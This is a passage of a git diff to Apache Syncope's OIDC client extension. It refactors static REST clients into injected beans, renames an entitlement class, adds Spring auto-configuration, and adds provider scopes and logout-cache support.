object.setUserTemplate(modelObject.getInnerObject()); - OIDCProviderRestClient.update(object); + restClient.update(object); return modelObject; } }; templateModal.header(Model.of(StringUtils.capitalize( - new StringResourceModel("template.title", OIDCProvidersDirectoryPanel.this).getString()))); + new StringResourceModel("template.title", OIDCProvidersDirectoryPanel.this).getString()))); templateModal.setContent(builder.build(BaseModal.CONTENT_ID)); templateModal.show(true); target.add(templateModal); } - }, ActionLink.ActionType.TEMPLATE, OIDC4UIEntitlement.OP_UPDATE); + }, ActionLink.ActionType.TEMPLATE, OIDCC4UIEntitlement.OP_UPDATE); panel.add(new ActionLink<>() { @@ -210,7 +227,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { @Override public void onClick(final AjaxRequestTarget target, final OIDCC4UIProviderTO ignore) { try { - OIDCProviderRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -219,7 +236,7 @@ public void onClick(final AjaxRequestTarget target, final OIDCC4UIProviderTO ign } ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); } - }, ActionLink.ActionType.DELETE, OIDC4UIEntitlement.OP_DELETE, true); + }, ActionLink.ActionType.DELETE, OIDCC4UIEntitlement.OP_DELETE, true); return panel; } @@ -232,9 +249,9 @@ public void onEvent(final IEvent event) { WizardModalPanel modalPanel = newItemEvent.getModalPanel(); if (newItemEvent instanceof AjaxWizard.NewItemActionEvent && modalPanel != null) { - final IModel model = new CompoundPropertyModel<>(modalPanel.getItem()); + IModel model = new CompoundPropertyModel<>(modalPanel.getItem()); templateModal.setFormModel(model); - templateModal.header(newItemEvent.getResourceModel()); + templateModal.header(newItemEvent.getTitleModel()); newItemEvent.getTarget().ifPresent(target -> target.add(templateModal.setContent(modalPanel))); templateModal.show(true); } else if (newItemEvent instanceof AjaxWizard.NewItemCancelEvent) { @@ -245,7 +262,7 @@ public void onEvent(final IEvent event) { } } - protected static final class OIDCProvidersProvider extends DirectoryDataProvider { + protected final class OIDCProvidersProvider extends DirectoryDataProvider { private static final long serialVersionUID = -2865055116864423761L; @@ -260,14 +277,14 @@ public OIDCProvidersProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { - List list = OIDCProviderRestClient.list(); + List list = restClient.list(); list.sort(comparator); return list.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return OIDCProviderRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/OIDCProviderRestClient.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/OIDCProviderRestClient.java index ca9aa1c01b2..f3eab23fd95 100644 --- a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/OIDCProviderRestClient.java +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/rest/OIDCProviderRestClient.java @@ -19,7 +19,6 @@ package org.apache.syncope.client.console.rest; import java.util.List; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; import org.apache.syncope.common.rest.api.service.OIDCC4UIProviderService; @@ -27,27 +26,27 @@ public class OIDCProviderRestClient extends BaseRestClient { private static final long serialVersionUID = -4006712447589576324L; - public static List list() { + public List list() { return getService(OIDCC4UIProviderService.class).list(); } - public static void create(final OIDCC4UIProviderTO op) { - SyncopeConsoleSession.get().getService(OIDCC4UIProviderService.class).create(op); + public void create(final OIDCC4UIProviderTO op) { + getService(OIDCC4UIProviderService.class).create(op); } - public static void createFromDiscovery(final OIDCC4UIProviderTO op) { - SyncopeConsoleSession.get().getService(OIDCC4UIProviderService.class).createFromDiscovery(op); + public void createFromDiscovery(final OIDCC4UIProviderTO op) { + getService(OIDCC4UIProviderService.class).createFromDiscovery(op); } - public static OIDCC4UIProviderTO read(final String key) { + public OIDCC4UIProviderTO read(final String key) { return getService(OIDCC4UIProviderService.class).read(key); } - public static void update(final OIDCC4UIProviderTO op) { + public void update(final OIDCC4UIProviderTO op) { getService(OIDCC4UIProviderService.class).update(op); } - public static void delete(final String key) { + public void delete(final String key) { getService(OIDCC4UIProviderService.class).delete(key); } } diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder.java index 502b7495568..5487680e3a9 100644 --- a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder.java +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder.java @@ -30,6 +30,7 @@ import org.apache.syncope.client.console.panels.OIDCProvidersDirectoryPanel; import org.apache.syncope.client.console.rest.ImplementationRestClient; import org.apache.syncope.client.console.rest.OIDCProviderRestClient; +import org.apache.syncope.client.console.wicket.markup.html.form.MultiFieldPanel; import org.apache.syncope.client.console.wizards.mapping.ItemTransformersTogglePanel; import org.apache.syncope.client.console.wizards.mapping.JEXLTransformersTogglePanel; import org.apache.syncope.client.console.wizards.mapping.OIDCProviderMappingPanel; @@ -39,6 +40,7 @@ import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.wizards.AjaxWizardBuilder; +import org.apache.syncope.common.lib.OIDCScopeConstants; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.OIDCC4UIProviderTO; import org.apache.syncope.common.lib.types.OIDCClientImplementationType; @@ -59,39 +61,47 @@ public class OIDCProviderWizardBuilder extends AjaxWizardBuilder> opActions = new LoadableDetachableModel<>() { + protected final ImplementationRestClient implementationRestClient; + + protected final OIDCProviderRestClient oidcProviderRestClient; + + protected final IModel> opActions = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ImplementationRestClient.list(OIDCClientImplementationType.OP_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(OIDCClientImplementationType.OP_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; public OIDCProviderWizardBuilder( final OIDCProvidersDirectoryPanel directoryPanel, final OIDCC4UIProviderTO defaultItem, + final ImplementationRestClient implementationRestClient, + final OIDCProviderRestClient oidcProviderRestClient, final PageReference pageRef) { super(defaultItem, pageRef); this.directoryPanel = directoryPanel; + this.implementationRestClient = implementationRestClient; + this.oidcProviderRestClient = oidcProviderRestClient; } @Override protected Serializable onApplyInternal(final OIDCC4UIProviderTO modelObject) { if (modelObject.getKey() == null) { if (modelObject.getHasDiscovery()) { - OIDCProviderRestClient.createFromDiscovery(modelObject); + oidcProviderRestClient.createFromDiscovery(modelObject); } else { - OIDCProviderRestClient.create(modelObject); + oidcProviderRestClient.create(modelObject); } } else { - OIDCProviderRestClient.update(modelObject); + oidcProviderRestClient.update(modelObject); } return modelObject; } @@ -99,11 +109,7 @@ protected Serializable onApplyInternal(final OIDCC4UIProviderTO modelObject) { @Override protected WizardModel buildModelSteps(final OIDCC4UIProviderTO modelObject, final WizardModel wizardModel) { wizardModel.add(new OP(modelObject)); - if (modelObject.getKey() == null) { - wizardModel.add(new OPContinue(modelObject)); - } else { - wizardModel.add(new OPContinue(modelObject, true)); - } + wizardModel.add(new OPContinue(modelObject, modelObject.getKey() != null)); Mapping mapping = new Mapping(); mapping.setOutputMarkupId(true); @@ -137,6 +143,7 @@ protected void sendWarning(final String message) { @Override protected Future> execute( final Callable> future) { + return SyncopeConsoleSession.get().execute(future); } @@ -192,61 +199,63 @@ public static class OPContinue extends WizardStep { private static final long serialVersionUID = -7087008312629522790L; - public OPContinue(final OIDCC4UIProviderTO opTO) { - final WebMarkupContainer content = new WebMarkupContainer("content"); + public OPContinue(final OIDCC4UIProviderTO opTO, final boolean readOnly) { this.setOutputMarkupId(true); + + WebMarkupContainer content = new WebMarkupContainer("content"); content.setOutputMarkupId(true); add(content); UrlValidator urlValidator = new UrlValidator(); - final AjaxTextFieldPanel issuer = new AjaxTextFieldPanel( + + AjaxTextFieldPanel issuer = new AjaxTextFieldPanel( "issuer", "issuer", new PropertyModel<>(opTO, "issuer")); issuer.addValidator(urlValidator); issuer.addRequiredLabel(); - content.add(issuer); + content.add(issuer.setReadOnly(readOnly)); - final AjaxCheckBoxPanel hasDiscovery = new AjaxCheckBoxPanel( + AjaxCheckBoxPanel hasDiscovery = new AjaxCheckBoxPanel( "hasDiscovery", "hasDiscovery", new PropertyModel<>(opTO, "hasDiscovery")); content.add(hasDiscovery); - final AjaxTextFieldPanel authorizationEndpoint = new AjaxTextFieldPanel("authorizationEndpoint", + AjaxTextFieldPanel authorizationEndpoint = new AjaxTextFieldPanel("authorizationEndpoint", "authorizationEndpoint", new PropertyModel<>(opTO, "authorizationEndpoint")); authorizationEndpoint.addRequiredLabel(); authorizationEndpoint.addValidator(urlValidator); - content.add(authorizationEndpoint); + content.add(authorizationEndpoint.setReadOnly(readOnly)); - final AjaxTextFieldPanel userinfoEndpoint = new AjaxTextFieldPanel("userinfoEndpoint", + AjaxTextFieldPanel userinfoEndpoint = new AjaxTextFieldPanel("userinfoEndpoint", "userinfoEndpoint", new PropertyModel<>(opTO, "userinfoEndpoint")); userinfoEndpoint.addValidator(urlValidator); - content.add(userinfoEndpoint); + content.add(userinfoEndpoint.setReadOnly(readOnly)); - final AjaxTextFieldPanel tokenEndpoint = new AjaxTextFieldPanel("tokenEndpoint", + AjaxTextFieldPanel tokenEndpoint = new AjaxTextFieldPanel("tokenEndpoint", "tokenEndpoint", new PropertyModel<>(opTO, "tokenEndpoint")); tokenEndpoint.addRequiredLabel(); tokenEndpoint.addValidator(urlValidator); - content.add(tokenEndpoint); + content.add(tokenEndpoint.setReadOnly(readOnly)); - final AjaxTextFieldPanel jwksUri = new AjaxTextFieldPanel("jwksUri", + AjaxTextFieldPanel jwksUri = new AjaxTextFieldPanel("jwksUri", "jwksUri", new PropertyModel<>(opTO, "jwksUri")); jwksUri.addRequiredLabel(); jwksUri.addValidator(urlValidator); - content.add(jwksUri); + content.add(jwksUri.setReadOnly(readOnly)); - final AjaxTextFieldPanel endSessionEndpoint = new AjaxTextFieldPanel("endSessionEndpoint", + AjaxTextFieldPanel endSessionEndpoint = new AjaxTextFieldPanel("endSessionEndpoint", "endSessionEndpoint", new PropertyModel<>(opTO, "endSessionEndpoint")); endSessionEndpoint.addValidator(urlValidator); - content.add(endSessionEndpoint); + content.add(endSessionEndpoint.setReadOnly(readOnly)); - final WebMarkupContainer visibleParam = new WebMarkupContainer("visibleParams"); - visibleParam.setOutputMarkupPlaceholderTag(true); - visibleParam.add(authorizationEndpoint); - visibleParam.add(userinfoEndpoint); - visibleParam.add(tokenEndpoint); - visibleParam.add(jwksUri); - visibleParam.add(endSessionEndpoint); - content.add(visibleParam); + WebMarkupContainer visibleParams = new WebMarkupContainer("visibleParams"); + visibleParams.setOutputMarkupPlaceholderTag(true); + visibleParams.add(authorizationEndpoint); + visibleParams.add(userinfoEndpoint); + visibleParams.add(tokenEndpoint); + visibleParams.add(jwksUri); + visibleParams.add(endSessionEndpoint); + content.add(visibleParams); - showHide(hasDiscovery, visibleParam); + showHide(hasDiscovery, visibleParams); hasDiscovery.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { @@ -254,70 +263,20 @@ public OPContinue(final OIDCC4UIProviderTO opTO) { @Override protected void onUpdate(final AjaxRequestTarget target) { - showHide(hasDiscovery, visibleParam); - target.add(visibleParam); + showHide(hasDiscovery, visibleParams); + target.add(visibleParams); } }); - } - - public OPContinue(final OIDCC4UIProviderTO opTO, final boolean readOnly) { - WebMarkupContainer content = new WebMarkupContainer("content"); - this.setOutputMarkupId(true); - content.setOutputMarkupId(true); - add(content); - final AjaxTextFieldPanel issuer = new AjaxTextFieldPanel( - "issuer", "issuer", new PropertyModel<>(opTO, "issuer")); - issuer.setReadOnly(readOnly); - content.add(issuer); - - final AjaxCheckBoxPanel hasDiscovery = new AjaxCheckBoxPanel( - "hasDiscovery", "hasDiscovery", new PropertyModel<>(opTO, "hasDiscovery")); - hasDiscovery.setReadOnly(readOnly); - content.add(hasDiscovery); - - final AjaxTextFieldPanel authorizationEndpoint = new AjaxTextFieldPanel("authorizationEndpoint", - "authorizationEndpoint", new PropertyModel<>(opTO, "authorizationEndpoint")); - authorizationEndpoint.setReadOnly(readOnly); - content.add(authorizationEndpoint); - - final AjaxTextFieldPanel userinfoEndpoint = new AjaxTextFieldPanel("userinfoEndpoint", - "userinfoEndpoint", new PropertyModel<>(opTO, "userinfoEndpoint")); - userinfoEndpoint.setReadOnly(readOnly); - content.add(userinfoEndpoint); - - final AjaxTextFieldPanel tokenEndpoint = new AjaxTextFieldPanel("tokenEndpoint", - "tokenEndpoint", new PropertyModel<>(opTO, "tokenEndpoint")); - tokenEndpoint.setReadOnly(readOnly); - content.add(tokenEndpoint); - - final AjaxTextFieldPanel jwksUri = new AjaxTextFieldPanel("jwksUri", - "jwksUri", new PropertyModel<>(opTO, "jwksUri")); - jwksUri.setReadOnly(readOnly); - content.add(jwksUri); - - final AjaxTextFieldPanel endSessionEndpoint = new AjaxTextFieldPanel("endSessionEndpoint", - "endSessionEndpoint", new PropertyModel<>(opTO, "endSessionEndpoint")); - endSessionEndpoint.setReadOnly(readOnly); - content.add(endSessionEndpoint); - - final WebMarkupContainer visibleParam = new WebMarkupContainer("visibleParams"); - visibleParam.setOutputMarkupPlaceholderTag(true); - visibleParam.add(authorizationEndpoint); - visibleParam.add(userinfoEndpoint); - visibleParam.add(tokenEndpoint); - visibleParam.add(jwksUri); - visibleParam.add(endSessionEndpoint); - content.add(visibleParam); + AjaxTextFieldPanel value = new AjaxTextFieldPanel("panel", "scopes", new Model<>()); + value.setChoices(OIDCScopeConstants.ALL_STANDARD_SCOPES); + content.add(new MultiFieldPanel.Builder( + new PropertyModel<>(opTO, "scopes")).build("scopes", "scopes", value)); } } private static void showHide(final AjaxCheckBoxPanel hasDiscovery, final WebMarkupContainer visibleParams) { - if (hasDiscovery.getField().getValue().equals("false")) { - visibleParams.setVisible(true); - } else { - visibleParams.setVisible(false); - } + visibleParams.setVisible("false".equals(hasDiscovery.getField().getValue())); } /** diff --git a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/OIDCProviderMappingPanel.java b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/OIDCProviderMappingPanel.java index b3c211b1c4d..e838121015c 100644 --- a/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/OIDCProviderMappingPanel.java +++ b/ext/oidcc4ui/client-console/src/main/java/org/apache/syncope/client/console/wizards/mapping/OIDCProviderMappingPanel.java @@ -31,11 +31,18 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class OIDCProviderMappingPanel extends AbstractMappingPanel { private static final long serialVersionUID = -4123879435574382968L; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; + public OIDCProviderMappingPanel( final String id, final OIDCC4UIProviderTO opTO, @@ -92,7 +99,7 @@ protected void setAttrNames(final AjaxTextFieldPanel toBeUpdated) { List choices = new ArrayList<>(ClassPathScanImplementationLookup.USER_FIELD_NAMES); - AnyTypeClassRestClient.list(AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses()). + anyTypeClassRestClient.list(anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses()). forEach(anyTypeClassTO -> { choices.addAll(anyTypeClassTO.getPlainSchemas()); choices.addAll(anyTypeClassTO.getDerSchemas()); diff --git a/ext/oidcc4ui/client-console/src/main/resources/META-INF/spring.factories b/ext/oidcc4ui/client-console/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..06871a9a115 --- /dev/null +++ b/ext/oidcc4ui/client-console/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.console.OIDCC4UIConsoleContext diff --git a/ext/oidcc4ui/client-console/src/main/resources/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder$OPContinue.html b/ext/oidcc4ui/client-console/src/main/resources/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder$OPContinue.html index 0f8de216f47..e36e9d2eee7 100644 --- a/ext/oidcc4ui/client-console/src/main/resources/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder$OPContinue.html +++ b/ext/oidcc4ui/client-console/src/main/resources/org/apache/syncope/client/console/wizards/OIDCProviderWizardBuilder$OPContinue.html @@ -29,6 +29,8 @@ [userinfoEndpoint] [endSessionEndpoint] + + diff --git a/ext/oidcc4ui/client-enduser/pom.xml b/ext/oidcc4ui/client-enduser/pom.xml index ac7e1400b47..c75b5ddc79f 100644 --- a/ext/oidcc4ui/client-enduser/pom.xml +++ b/ext/oidcc4ui/client-enduser/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Enduser diff --git a/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/OIDCC4UIEnduserContext.java b/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/OIDCC4UIEnduserContext.java new file mode 100644 index 00000000000..88bb6721f35 --- /dev/null +++ b/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/OIDCC4UIEnduserContext.java @@ -0,0 +1,55 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.enduser; + +import org.apache.syncope.client.enduser.resources.EnduserCodeConsumerResource; +import org.apache.syncope.client.enduser.resources.EnduserLogoutResource; +import org.apache.syncope.client.ui.commons.resources.oidcc4ui.BeforeLogoutResource; +import org.apache.syncope.client.ui.commons.resources.oidcc4ui.LoginResource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class OIDCC4UIEnduserContext { + + @ConditionalOnMissingBean + @Bean + public LoginResource oidcc4uiLoginResource() { + return new LoginResource(); + } + + @ConditionalOnMissingBean + @Bean + public EnduserCodeConsumerResource codeConsumerResource() { + return new EnduserCodeConsumerResource(); + } + + @ConditionalOnMissingBean + @Bean + public BeforeLogoutResource beforeLogoutResource() { + return new BeforeLogoutResource(); + } + + @ConditionalOnMissingBean + @Bean + public EnduserLogoutResource oidcc4uiLogoutResource() { + return new EnduserLogoutResource(); + } +} diff --git a/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/OIDCClientLogin.java b/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/OIDCClientLogin.java index 5096ec10a3b..60e207a0941 100644 --- a/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/OIDCClientLogin.java +++ b/ext/oidcc4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/OIDCClientLogin.java @@ -55,6 +55,8 @@ public OIDCClientLogin(final PageParameters parameters) { SyncopeEnduserSession.get().setAttribute(Constants.BEFORE_LOGOUT_PAGE, OIDCClientBeforeLogout.class); } + SyncopeEnduserSession.get().setLastReauth(); + // If login has been called because the user was not yet logged in, than continue to the // original destination, otherwise to the Home page continueToOriginalDestination(); diff --git a/ext/oidcc4ui/client-enduser/src/main/resources/META-INF/spring.factories b/ext/oidcc4ui/client-enduser/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..7895b39135d --- /dev/null +++ b/ext/oidcc4ui/client-enduser/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.enduser.OIDCC4UIEnduserContext diff --git a/ext/oidcc4ui/common-lib/pom.xml b/ext/oidcc4ui/common-lib/pom.xml index dc1812ab0e5..acd8266a232 100644 --- a/ext/oidcc4ui/common-lib/pom.xml +++ b/ext/oidcc4ui/common-lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Common Lib diff --git a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/oidc/OIDCConstants.java b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/oidc/OIDCConstants.java index 7096ae19190..9de52e994b1 100644 --- a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/oidc/OIDCConstants.java +++ b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/oidc/OIDCConstants.java @@ -26,6 +26,8 @@ public final class OIDCConstants { public static final String OP = "op"; + public static final String LOGOUT_TOKEN = "logout_token"; + private OIDCConstants() { // private constructor for static utility class } diff --git a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/OIDCC4UIProviderTO.java b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/OIDCC4UIProviderTO.java index ad2f2aa6ba3..c082860a7dc 100644 --- a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/OIDCC4UIProviderTO.java +++ b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/OIDCC4UIProviderTO.java @@ -48,9 +48,9 @@ public class OIDCC4UIProviderTO extends ItemContainer implements EntityTO { private String endSessionEndpoint; - private boolean hasDiscovery; + private final List scopes = new ArrayList<>(); - private UserTO userTemplate; + private boolean hasDiscovery; private boolean createUnmatching; @@ -58,6 +58,8 @@ public class OIDCC4UIProviderTO extends ItemContainer implements EntityTO { private boolean selfRegUnmatching; + private UserTO userTemplate; + private final List actions = new ArrayList<>(); @Override @@ -143,6 +145,12 @@ public void setEndSessionEndpoint(final String endSessionEndpoint) { this.endSessionEndpoint = endSessionEndpoint; } + @JacksonXmlElementWrapper(localName = "scopes") + @JacksonXmlProperty(localName = "scope") + public List getScopes() { + return scopes; + } + public UserTO getUserTemplate() { return userTemplate; } diff --git a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDC4UIEntitlement.java b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDCC4UIEntitlement.java similarity index 91% rename from ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDC4UIEntitlement.java rename to ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDCC4UIEntitlement.java index 3f6a0a98df0..8b559ffd07f 100644 --- a/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDC4UIEntitlement.java +++ b/ext/oidcc4ui/common-lib/src/main/java/org/apache/syncope/common/lib/types/OIDCC4UIEntitlement.java @@ -24,7 +24,7 @@ import java.util.Set; import java.util.TreeSet; -public final class OIDC4UIEntitlement { +public final class OIDCC4UIEntitlement { public static final String OP_READ = "OP_READ"; @@ -38,7 +38,7 @@ public final class OIDC4UIEntitlement { static { Set values = new TreeSet<>(); - for (Field field : OIDC4UIEntitlement.class.getDeclaredFields()) { + for (Field field : OIDCC4UIEntitlement.class.getDeclaredFields()) { if (Modifier.isStatic(field.getModifiers()) && String.class.equals(field.getType())) { values.add(field.getName()); } @@ -50,7 +50,7 @@ public static Set values() { return VALUES; } - private OIDC4UIEntitlement() { + private OIDCC4UIEntitlement() { // private constructor for static utility class } } diff --git a/ext/oidcc4ui/logic/pom.xml b/ext/oidcc4ui/logic/pom.xml index 146d319a4a5..6a9aa204096 100644 --- a/ext/oidcc4ui/logic/pom.xml +++ b/ext/oidcc4ui/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Logic diff --git a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogic.java b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogic.java index e29b5c7def3..cf3f452669b 100644 --- a/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogic.java +++ b/ext/oidcc4ui/logic/src/main/java/org/apache/syncope/core/logic/OIDCC4UILogic.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.logic; +import com.nimbusds.jwt.JWT; import com.nimbusds.jwt.JWTClaimsSet; import com.nimbusds.jwt.SignedJWT; import com.nimbusds.oauth2.sdk.AuthorizationCode; @@ -41,9 +42,10 @@ import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.core.logic.oidc.NoOpSessionStore; -import org.apache.syncope.core.logic.oidc.OIDC4UIContext; +import org.apache.syncope.core.logic.oidc.OIDCC4UIContext; import org.apache.syncope.core.logic.oidc.OIDCClientCache; import org.apache.syncope.core.logic.oidc.OIDCUserManager; +import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.OIDCC4UIProviderDAO; import org.apache.syncope.core.persistence.api.entity.OIDCC4UIProvider; @@ -52,10 +54,14 @@ import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.apache.syncope.core.spring.security.Encryptor; +import org.pac4j.core.context.WebContext; import org.pac4j.core.exception.http.WithLocationAction; +import org.pac4j.core.util.Pac4jConstants; import org.pac4j.oidc.client.OidcClient; +import org.pac4j.oidc.config.OidcConfiguration; import org.pac4j.oidc.credentials.OidcCredentials; import org.pac4j.oidc.profile.OidcProfile; +import org.pac4j.oidc.redirect.OidcRedirectionActionBuilder; import org.springframework.security.access.prepost.PreAuthorize; public class OIDCC4UILogic extends AbstractTransactionalLogic { @@ -66,7 +72,9 @@ public class OIDCC4UILogic extends AbstractTransactionalLogic { protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected final OIDCClientCache oidcClientCache; + protected final OIDCClientCache oidcClientCacheLogin; + + protected final OIDCClientCache oidcClientCacheLogout; protected final AuthDataAccessor authDataAccessor; @@ -74,43 +82,67 @@ public class OIDCC4UILogic extends AbstractTransactionalLogic { protected final OIDCC4UIProviderDAO opDAO; + protected final AccessTokenDAO accessTokenDAO; + protected final OIDCUserManager userManager; public OIDCC4UILogic( - final OIDCClientCache oidcClientCache, + final OIDCClientCache oidcClientCacheLogin, + final OIDCClientCache oidcClientCacheLogout, final AuthDataAccessor authDataAccessor, final AccessTokenDataBinder accessTokenDataBinder, final OIDCC4UIProviderDAO opDAO, + final AccessTokenDAO accessTokenDAO, final OIDCUserManager userManager) { - this.oidcClientCache = oidcClientCache; + this.oidcClientCacheLogin = oidcClientCacheLogin; + this.oidcClientCacheLogout = oidcClientCacheLogout; this.authDataAccessor = authDataAccessor; this.accessTokenDataBinder = accessTokenDataBinder; this.opDAO = opDAO; + this.accessTokenDAO = accessTokenDAO; this.userManager = userManager; } - protected OidcClient getOidcClient(final OIDCC4UIProvider op, final String callbackUrl) { - return oidcClientCache.get(op.getName()).orElseGet(() -> oidcClientCache.add(op, callbackUrl)); - } - - protected OidcClient getOidcClient(final String opName, final String callbackUrl) { - OIDCC4UIProvider op = opDAO.findByName(opName); - if (op == null) { - throw new NotFoundException("OIDC Provider '" + opName + '\''); - } - - return getOidcClient(op, callbackUrl); + protected OidcClient getOidcClient( + final OIDCClientCache oidcClientCache, + final OIDCC4UIProvider op, + final String callbackUrl) { + + return 